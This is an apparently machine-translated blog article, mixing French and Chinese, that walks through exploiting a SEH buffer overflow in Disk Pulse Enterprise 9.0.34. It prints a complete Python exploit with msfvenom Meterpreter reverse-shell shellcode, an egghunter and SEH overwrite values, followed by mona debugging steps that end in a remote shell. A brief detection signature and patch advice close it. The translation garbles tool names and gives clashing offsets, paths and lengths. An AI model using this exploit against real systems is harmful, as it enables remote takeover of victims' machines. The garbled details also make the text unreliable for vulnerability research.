Maison > Article > Opération et maintenance > Comment implémenter l'analyse de vulnérabilité de l'application Disk Pulse Enterprise Window
Disk Pulse Enenterprise est un logiciel qui surveille les modifications du disque. Il peut se connecter et gérer le logiciel via un port de gestion 9120 ou une fenêtre de gestion Web 80 pour surveiller les modifications du disque. Il existe une bibliothèque de liens dynamiques libspp.dll dans Disk Pulse Enterprise, qui contient certaines fonctions responsables des opérations HTTP. Le problème se produit dans cette bibliothèque de liens dynamiques lors du traitement des données de publication, car il n'y a pas de contrôle strict de la longueur des données de publication. Cela conduit à un débordement de tampon provoqué par la copie de données dans une mémoire invalide lors de l'exécution des données acquises, déclenchant le traitement de comportement anormal SEH et enfin contrôlant EIP pour exécuter du code arbitraire.
Lien de téléchargement du logiciel : https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22b ff5e864 09a451-diskpulseent_setup_v9. 0.34 .exe)
Adresse de divulgation de la vulnérabilité : https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)
windows 7 x86 : Environnement système
IDA pro : outil d'analyse statique
Débogueur immunitaire : débogueur dédié à l'analyse des vulnérabilités
WinDbg : débogueur de vulnérabilités
Jetons un bref aperçu de l'environnement POC first est une vulnérabilité de débordement de tampon relativement complète. Le gestionnaire d'exceptions structuré SEH et la technologie Egghunter sont abordés dans cet article.
Ceux qui sont familiers avec la programmation connaissent peut-être la gestion structurée des exceptions (SEH), un mécanisme de fenêtrage pour gérer les exceptions matérielles et logicielles. Il est généralement exprimé sous la forme d'un bloc try/catch de sommes try/divide.
En termes simples, il s'agit d'une technique d'adressage qui exécute un shellcode en concevant un marqueur et en sautant à l'emplacement d'un autre marqueur. La technique Egghunter est nécessaire lorsque le shellcode ne peut pas être stocké dans le tampon.
Tout d'abord, analysons le POC
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
L'attaquant a construit un package de requête http. On peut voir que la demande de publication, l'url est /login, longueur du contenu : 17000. 12292 octets "x41" ont été envoyés, puis "w00tw00t" 8 octets ont été envoyés, après quoi 20 octets NOP "X90" ont été envoyés, après quoi buf a été envoyé, plus 50 NOP, 1614 "X42", Vient ensuite le mécanisme de gestion des exceptions de SEH (les étudiants qui ne savent pas grand chose peuvent en apprendre davantage), puis le code d'exécution de Egghunter, ce qui signifie en gros sauter vers un endroit contenant un double "w00t" pour l'exécution. Il ne reste plus qu'à remplir le tampon.
Ensuite, nous utilisons Wen DBG pour ouvrir l'application avec la version vulnérable.
Envoyez la charge utile et déclenchez la vulnérabilité. Entrez g, l'adresse de retour est écrasée et kb examine la pile d'appels.
La fonction GetNextString de SCA_HttpParser de libspp.dll est appelée ici. Ensuite, le programme entre dans le traitement des comportements anormaux SHE et atteint l'exécution du code en écrasant le gestionnaire SEH.
Ouvrez IDA et analysez le point 10092822. La classe SCA_HttpParse dans libspp est responsable du traitement de certaines opérations liées à HTTP. Il existe une fonction nommée ExtractPostData qui est responsable du traitement des post-données. L'adresse d'entrée de cette fonction est 10092510
L'ensemble du tampon d'envoi utilise un POC de remplacement, déclenchant la vulnérabilité, comme le montre la figure ci-dessous :
Vérifiez la situation de transfert des paramètres et les données ultérieures sont transmises in comme deuxième paramètre. Notez qu’il est transmis complètement.
Continuez le suivi en une seule étape ici et accédez à la fonction GetNetString mentionnée précédemment.
Cette fonction fera une chose, qui est de diviser le premier paramètre, qui correspond aux données les plus récentes, et de séparer chaque partie pour un traitement ultérieur. Étape par étape, vous pouvez voir la première fois que vous entrez GetNextString Après cela, les premières données ont été divisées.
Le nom d'utilisateur est séparé pour la première fois. Ensuite, entrez à nouveau GetNextString pour commencer à diviser la deuxième chaîne. Ce processus de fractionnement effectuera une série d'opérations de copie.
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!